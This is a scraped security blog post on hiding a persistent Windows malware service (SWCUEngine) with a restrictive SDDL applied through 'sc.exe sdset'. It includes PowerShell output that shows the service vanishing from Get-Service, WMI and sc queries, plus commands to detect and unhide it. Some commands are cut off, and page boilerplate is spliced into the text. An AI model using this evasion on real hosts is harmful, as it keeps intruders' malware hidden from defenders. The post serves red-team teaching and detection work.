



Red Team Tactics: Hiding Windows Services

A little known feature of Windows allows attackers to hide persistent services from view, creating an opportunity to evade threat hunting detection.

October 13, 2020

A little known feature of Windows allows the red team or an attacker to hide services from view, creating an opportunity to evade detection from common host-based threat hunting techniques.

In a recent red team engagement, my team was up against some well-trained, sophisticated defenders. We built custom malware to evade the anticipated EDR platforms, but we knew host analysis would eventually get us caught and quickly pulled from the target organization.

```
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine

Status      Name      DisplayName
-----
Running     SWCUEngine      SWCUEngine
```

Taking notes from several advanced threat groups, we will use common service names that could be overlooked to try and blend into a system while maintaining persistence on the host. Here, *SWCUEngine* is our malware, shallowly pretending to be the AVAST software cleanup engine. While this might escape casual inspection, in an exercise where the defenders are actively hunting for the presence of the red team, this is probably going to get us caught.

So, we decided to tie on a bit of extra difficulty.

```
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;
[SC] SetServiceObjectSecurity SUCCESS
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine
Get-Service : Cannot find any service with service name 'SWCUEngine'.
At line:1 char:1
+ Get-Service -Name SWCUEngine
+ ~~~~~
+ CategoryInfo          : ObjectNotFound: (SWCUEngine:String) [Get-Service], ServiceComma
+ FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetSer
```

Windows services support the ability to control service permissions using the *Service Descriptor*

Definition

service pe

in a runner

the blue

The SDDL

En cliquant sur « Accepter tous les cookies », vous acceptez le stockage de cookies sur votre appareil pour améliorer la navigation sur le site, analyser son utilisation et contribuer à nos efforts de marketing.

Autoriser tous les cookies

[Paramètres des cookies](#)

Subscribe to SANS Newsletters

Receive curated news, vulnerabilities, & security awareness tips

Your Email...

Select your country

By providing this information, you agree to the processing of your personal data by SANS as described in our [Privacy Policy](#).

This site is protected by reCAPTCHA and the Google [Privacy Policy](#) and [Terms of Service](#) apply.

Subscribe

Recommended Training

SEC542: Web App Penetration Testing and Ethical Hacking™

SEC575: iOS and Android Application Security Analysis and Penetration Testing™

D: - Set the Discretionary ACL (DACL) permissions on the service

(D;;;DCLCWPDTSD;;;IU) - Deny Interactive Users the following permissions:
DC - Delete Child
LC - List Children
WP - Write Property
DT - Delete Tree
SD - Service Delete

This SDDL block is repeated for services (SU) and administrators (BA) as well. A (allow) permissions follow, inheriting the default permissions for services. Special thanks to [Wayne Martin](#) and [Harry Johnston](#) for their articles on decoding SDDL permissions.

By making this change to the service, the persistence mechanism is hidden from the defenders. Neither `services.exe`, `Get-Service`, `sc query` nor any other service control tool I'm aware of will enumerate the hidden service.

```
PS C:\WINDOWS\system32> Get-Service | Select-Object Name | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> Get-WmiObject Win32_Service | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe query | Select-String -Pattern 'SWC
PS C:\WINDOWS\system32
```

If the defender knows the name of the service in advance, they can identify the service presence by attempting to stop it. In this example, the service `JoshNoSuchService` does not exist, while `SWCUEngine` exists and is hidden:

```
PS C:\WINDOWS\system32> Set-Service -Name JoshNoSuchService -Status Stopped
Set-Service : Service JoshNoSuchService was not found on computer '.'.
At line:1 char:1
+ Set-Service -Name JoshNoSuchService -Status Stopped
+ ~~~~~
+ CategoryInfo          : ObjectNotFound: (.:String) [Set-Service], InvalidOperationException
+ FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.SetServ

PS C:\WINDOWS\system32> Set-Service -Name SWCUEngine -Status Stopped
Set-Service : Service 'SWCUEngine (SWCUEngine)' cannot be configured due to the following err
At line:1 char:1
+ Set-Service -Name SWCUEngine -Status Stopped
+ ~~~~~
+ CategoryInfo          : PermissionDenied: (System.ServiceProcess.ServiceController:Serv
ServiceCommandException
+ FullyQualifiedErrorId : CouldNotSetService,Microsoft.PowerShell.Commands.SetServiceComm
```

If you know the name of the service that is hidden, then you can *unhide* it again:

```
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDP
[SC] SetServiceObjectSecurity SUCCESS
PS C:\WINDOWS\system32> Get-Service -Name 'SWCUEngine'

Status      Name           DisplayName
-----
Running     SWCUEngine     SWCUEngine
```

On the red team, this can be a useful technique to preserve persistence on a compromised host. The hidden service will autostart after a reboot as well.

In the next article, my colleague and trusted defense analyst [Jon Gorenflo](#) will present defense options for detection and enumeration. Stay tuned!

SEC401: Security Essentials - Network, Endpoint, and Cloud™

Tags: [Privacy](#)

En cliquant sur « Accepter tous les cookies », vous acceptez le stockage de cookies sur votre appareil pour améliorer la navigation sur le site, analyser son utilisation et contribuer à nos efforts de marketing.

Related Content

Blog



A hand-drawn style graphic for the SANS Cyber Threat Intelligence Summit 2024. It features a dark blue background with white stars and various text elements in red and white. Key information includes the dates 'SUMMIT JAN 29-30' and 'ENVOI JAN 31- FÉV 5', the location 'WASHINGTON, DC ALL-ACCESS', and the theme 'IMPROVE YOUR THREAT INTELLIGENCE CAPABILITIES'. It lists speakers like Rick Holland, Deborah Brown, and Katie Nickels, and mentions a 'CTI SOLUTIONS TRACK WITH ISMAEL VALENZUELA'. A call to action says 'REGISTER TODAY! SANS.ORG/CTI-SUMMIT'.

Cyber Defense, Digital Forensics, Incident Response & Threat Hunting, Industrial Control Systems Security, Penetration Testing and Red Teaming

· January 29, 2024

A Visual Summary of SANS CTI Summit 2024


Check out these graphic recordings created in real-time throughout the event for SANS CTI Summit 2024



Alison Kim

→

Blog




A hand-drawn style graphic for the SANS HackFest Summit 2023. It features a white background with red stars and various text elements in red and black. Key information includes the location 'HOLLYWOOD, CA', the price '\$425', and the dates 'NOV 16-17'. It mentions 'LIVE ONLINE!' and 'LEARN THE LATEST HACKING TECHNIQUES WITH THE INDUSTRY'S BEST'. It lists speakers like Jean-François Mares, Stephen Sims, and Steven Walbroehl, and mentions a '2 HANDS ON BLOCKCHAIN WORKSHOPS'. A call to action says 'REGISTER TODAY! SANS.ORG/HACKFEST'.

Offensive Operations, Pen Testing, and Red Teaming, Open-Source Intelligence (OSINT), Penetration Testing and Red Teaming

· November 16, 2023

A Visual Summary of SANS HackFest Summit

Check out these graphic recordings created in real-time throughout the event for SANS HackFest Summit 2023



Alison Kim

→


Blog

Offensive Operations, Pen Testing, and Red Teaming, Penetration Testing and Red Teaming

· October 4, 2023

SEC670 Prep Quiz Answers

Answers for the SEC670 Prep Quiz. For more details about the course and the quiz, please clickthrough to see the quiz article.



Jonathan Reiter

→

Register to Learn

- Courses
- Certifications
- Degree Programs
- Cyber Ranges

Job Tools

- Security Policy Project
- Posters & Cheat Sheets
- White Papers

Subscribe to SANS Newsletters

Receive curated news, vulnerabilities, & security awareness tips

Select your country

▼

By providing this information, you agree to the [Privacy Policy](#) and [Terms of Service](#) as described

En cliquant sur « Accepter tous Les cookies », vous acceptez le stockage de cookies sur votre appareil pour améliorer la navigation sur le site, analyser son utilisation et contribuer à nos efforts de marketing.

[Privacy Policy](#) and [Terms of Service](#)

Subscribe

En cliquant sur « Accepter tous les cookies », vous acceptez le stockage de cookies sur votre appareil pour améliorer la navigation sur le site, analyser son utilisation et contribuer à nos efforts de marketing.